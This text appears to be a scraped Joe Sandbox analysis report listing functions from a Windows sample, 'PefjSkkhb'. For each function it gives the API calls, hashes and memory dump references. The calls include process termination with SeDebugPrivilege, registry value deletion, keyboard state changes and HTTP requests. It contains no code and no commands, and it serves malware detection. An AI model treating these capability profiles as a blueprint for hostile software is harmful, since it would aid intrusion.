Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 2019164449-3381328864
Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction ID: b411712575d8a6fc4dfdeee31a26d9b2b9310852af58812f5277ab6898238708
Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction Fuzzy Hash: 7C210935E1C503C0EB70AB15E9956B922A1EF86FD9F4080B6DA0DC7699EE2CE1168700

Function 00007FF697BD7054 Relevance: 13.9, APIs: 9, Instructions: 373COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF697BD7168
FreeLibrary.KERNEL32 ref: 00007FF697BD71A9
QueryPathOfRegTypeLib.OLEAUT32 ref: 00007FF697BD73B2
SysFreeString.OLEAUT32 ref: 00007FF697BD73E7
StringFromGUID2.OLE32 ref: 00007FF697BD7585

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FreeString$FileFromLibraryModuleNamePathQueryType
String ID:
API String ID: 1903627254-0
Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction ID: cd66328bc007151885d2fd00ccc4168c74721ebefd991acc0d18af67a35b0008
Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction Fuzzy Hash: AE024A73A08A8286DB60DF29D4841AD67A0FB86FD8F504172EF4E87B68DF78D549C704

Function 00007FF697BEC324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF697BEC40A
ShowWindow.USER32(00000000,?,?,00007FF697B8DF87), ref: 00007FF697BEC449
ShowWindow.USER32 ref: 00007FF697BEC457
SetFocus.USER32 ref: 00007FF697BEC460

Part of subcall function 00007FF697BEE7D4: DeleteObject.GDI32 ref: 00007FF697BEE82A

GetWindowLongW.USER32 ref: 00007FF697BEC4A8
SetWindowLongPtrW.USER32 ref: 00007FF697BEC4BD
InvalidateRect.USER32(00000000,?,?,00007FF697B8DF87), ref: 00007FF697BEC4F7
SendMessageW.USER32 ref: 00007FF697BEC536
SendMessageW.USER32 ref: 00007FF697BEC54A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction ID: 0206fbd36db36f4518f46a20da08ef8fbda26ddf4d5760352261f08a080f960f
Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction Fuzzy Hash: 31617E35A0864B86FB349F25D4417BA2661EF82BE4F1141F1DA1D837DDCE7DE841A780

Function 00007FF697BAD780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF697BAD7A2
HeapAlloc.KERNEL32 ref: 00007FF697BAD7B4
GetCurrentProcess.KERNEL32 ref: 00007FF697BAD7BD
GetCurrentProcess.KERNEL32 ref: 00007FF697BAD7C6
DuplicateHandle.KERNEL32 ref: 00007FF697BAD7EA
GetCurrentProcess.KERNEL32 ref: 00007FF697BAD7F0
GetCurrentProcess.KERNEL32 ref: 00007FF697BAD7F9
DuplicateHandle.KERNEL32 ref: 00007FF697BAD81E
CreateThread.KERNEL32 ref: 00007FF697BAD844

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction ID: 36e555175b4d8bb126d605c7fb36499e153acc345a331920ee34f2fd7d5ab51d
Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction Fuzzy Hash: 77213C76519B4192E720DF52E448369BBA0FB8AFDAF044165DA9D43B58CF7CD1488700

Function 00007FF697BDE580 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BBBE00: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF697BBBE3B
Part of subcall function 00007FF697BBBE00: Process32FirstW.KERNEL32 ref: 00007FF697BBBE4B
Part of subcall function 00007FF697BBBE00: CloseHandle.KERNEL32 ref: 00007FF697BBBF55

OpenProcess.KERNEL32 ref: 00007FF697BDE610
GetLastError.KERNEL32 ref: 00007FF697BDE622
OpenProcess.KERNEL32 ref: 00007FF697BDE65B
TerminateProcess.KERNEL32 ref: 00007FF697BDE702
GetLastError.KERNEL32 ref: 00007FF697BDE70C
CloseHandle.KERNEL32 ref: 00007FF697BDE75A

Strings

SeDebugPrivilege, xrefs: 00007FF697BDE633

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction ID: 945612a05863ce4da5fab1f190e7e6dbb2b412d3c3a4574ed2a615d01d8929ec
Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction Fuzzy Hash: 31518E72A0868286EB20EF65D09037C7B60FF86BC5F4684B1D60EC769ADF7CE5158B04

Function 00007FF697BBA070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF697BBA12F
IsMenu.USER32 ref: 00007FF697BBA151
CreatePopupMenu.USER32 ref: 00007FF697BBA183
GetMenuItemCount.USER32 ref: 00007FF697BBA1DD
InsertMenuItemW.USER32 ref: 00007FF697BBA209

Strings

P, xrefs: 00007FF697BBA0D0
2, xrefs: 00007FF697BBA167

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 2$P
API String ID: 93392585-1110268094
Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction ID: f121938afba670316741637771819e6d3f70e7e069e45fde9cf642b2e72dd24d
Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction Fuzzy Hash: D951CC32E08A8289F7709F65E4813BD7BA5FB42BD8F244175DE5A93698DF39E4818700

Function 00007FF697BEE248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF697BEE32E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF697BCBDFB), ref: 00007FF697BEE346
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF697BCBDFB), ref: 00007FF697BEE360
SendMessageW.USER32 ref: 00007FF697BEE38D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF697BCBDFB), ref: 00007FF697BEE3B1
SetWindowPos.USER32 ref: 00007FF697BEE3F7

Strings

', xrefs: 00007FF697BEE3E2

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$LongMessageSend$Show
String ID: '
API String ID: 257662517-1997036262
Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction ID: 79834b115861238a2edff42a10548b5e000ac84168ac0437a93f1274352a40a2
Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction Fuzzy Hash: 5F51E236A0864A86F3719F26A454A7D2761EF86FD0F5441B2CE5E83798CE3DE8429340

Function 00007FF697BBC5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF697BBC5DC
LoadStringW.USER32 ref: 00007FF697BBC5F2
GetModuleHandleW.KERNEL32 ref: 00007FF697BBC5FA
LoadStringW.USER32 ref: 00007FF697BBC616
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BBC649
MessageBoxW.USER32 ref: 00007FF697BBC665

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00007FF697BBC642

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4051287042-3128320259
Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction ID: f48e957ea04a803814ce9c8d114165f2d8c9f7f256579b0f2de8d560a272ec89
Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction Fuzzy Hash: A0115E75B18B8591D7309F10F444BEA2760FF89B88F805076EA4E83A5CDE7CD149C740

Function 00007FF697BF233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71

GetSystemMetrics.USER32 ref: 00007FF697BF23A5
GetSystemMetrics.USER32 ref: 00007FF697BF23C4
MoveWindow.USER32 ref: 00007FF697BF25F9
SendMessageW.USER32 ref: 00007FF697BF261A
SendMessageW.USER32 ref: 00007FF697BF263E
ShowWindow.USER32 ref: 00007FF697BF265E
InvalidateRect.USER32(?,?,?,00000000,?,?,?,00007FF697B8AA58), ref: 00007FF697BF268B
DefDlgProcW.USER32(?,?,?,00000000,?,?,?,00007FF697B8AA58), ref: 00007FF697BF26B3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction ID: 833745c495e6e908ce916003eb2de1e0f49e1a39cf651489a5a1f23228e21079
Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction Fuzzy Hash: 9DA1017AB1868382EB78AF2591547BD76A1FB85FC4F505075DA0AC7A98CF3CE8609700

Function 00007FF697BDFCC0 Relevance: 12.2, APIs: 8, Instructions: 246registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BE1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF697BDFD7B), ref: 00007FF697BE1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF697BDFDAE
RegOpenKeyExW.ADVAPI32 ref: 00007FF697BDFE30
RegDeleteValueW.ADVAPI32 ref: 00007FF697BDFEC7
RegCloseKey.ADVAPI32 ref: 00007FF697BDFF34
RegCloseKey.ADVAPI32 ref: 00007FF697BE0041

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Close$BuffCharConnectDeleteOpenRegistryUpperValue
String ID:
API String ID: 50796853-0
Opcode ID: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
Instruction ID: 376314bcc49efe46ecfe7bb030053f5cc9bc09b16ece51a5c6a6947bdae047eb
Opcode Fuzzy Hash: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
Instruction Fuzzy Hash: 18B15B76B08A468AEB20DF65D0913BC2760EF86BC4F4145B2DA4E97B9ACF3CD115C744

Function 00007FF697B6443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF697B644CD
ShowWindow.USER32 ref: 00007FF697BAA753
ShowWindow.USER32 ref: 00007FF697BAA7ED

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction ID: 48b63a3078fe29798d16f711a4d73016b4f4dd0bcf4358d87f54a8b13bab4b1f
Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction Fuzzy Hash: 1D517036E0C98289F779AF29945537D3691DF83BE8F1840F1CA0EC66DDCE2DA684C251

Function 00007FF697BE90A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF697BE90D8
GetDC.USER32 ref: 00007FF697BE90E0
GetDeviceCaps.GDI32 ref: 00007FF697BE90F1
ReleaseDC.USER32 ref: 00007FF697BE90FE
CreateFontW.GDI32 ref: 00007FF697BE9195
SendMessageW.USER32 ref: 00007FF697BE91AB
MoveWindow.USER32 ref: 00007FF697BE91F1
SendMessageW.USER32 ref: 00007FF697BE9213

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction ID: cdf174a7357579a24b606142ef707117db15aa6fe43d8c11ae698994a72edab6
Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction Fuzzy Hash: 00419D7661868187E7748F22B454B6ABBA0FB89BD1F104175EF8E87B58DF3DD4448B00

Function 00007FF697B42100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction ID: 9d3fb89a75af4c6f9ebe357cc8e885c47c408262cb3bf8d7f735113f73d98091
Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction Fuzzy Hash: D0A18C72A186C187D7748F1AA4406AEBB75FB8ABD4F144125EA8953B6DCF3CD442DF00

Function 00007FF697BEFB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF697BEFBED
IsWindowEnabled.USER32 ref: 00007FF697BEFBFA
SendMessageW.USER32 ref: 00007FF697BEFD22
SendMessageW.USER32 ref: 00007FF697BEFE2A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSendWindow$Enabled
String ID:
API String ID: 3694350264-0
Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction ID: a3eb7b2c530d85f7ca2dc809dc19e425dd27423b592cd6c60bbb4d56534384e4
Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction Fuzzy Hash: FD917C35E0964E8AFBB49F2594543B97792EF86BC4F5480F2CB4D83799CF2DE4918280

Function 00007FF697BB9034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF697BB9089
GetKeyboardState.USER32 ref: 00007FF697BB909D
SetKeyboardState.USER32 ref: 00007FF697BB90EC
PostMessageW.USER32 ref: 00007FF697BB9122
PostMessageW.USER32 ref: 00007FF697BB9147
PostMessageW.USER32 ref: 00007FF697BB9190
PostMessageW.USER32 ref: 00007FF697BB91B9

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction ID: 8d254c15aaaf3004d3cf1ca2513db18b08d442ded76b34b8b1dd5bc5ffae28b4
Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction Fuzzy Hash: 0A518E22A1D2D1A5FB718F715180A7A6FA1FB87BC4F4980B5DE8D57B4ACE2CF4509310

Function 00007FF697BCDBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF697BCDC5F
HttpOpenRequestW.WININET ref: 00007FF697BCDCA9
InternetCloseHandle.WININET ref: 00007FF697BCDDC0

Part of subcall function 00007FF697BCEAB8: GetLastError.KERNEL32 ref: 00007FF697BCEAD4
Part of subcall function 00007FF697BCEAB8: SetEvent.KERNEL32 ref: 00007FF697BCEAE9

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
String ID:
API String ID: 3401586794-0
Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction ID: 4a60137b58169567d8c825e1c257d3565133de89971d1dac4e1785645a176378
Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction Fuzzy Hash: 7251D43AA0878286FB24DF25A940AAE77A0FB4ABC9F188075DE0D57B4CDF39D455C740

Function 00007FF697BB4860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BAB748: CLSIDFromProgID.OLE32 ref: 00007FF697BAB771
Part of subcall function 00007FF697BAB748: ProgIDFromCLSID.OLE32 ref: 00007FF697BAB790
Part of subcall function 00007FF697BAB748: lstrcmpiW.KERNEL32 ref: 00007FF697BAB7A2
Part of subcall function 00007FF697BAB748: CoTaskMemFree.OLE32 ref: 00007FF697BAB7B4

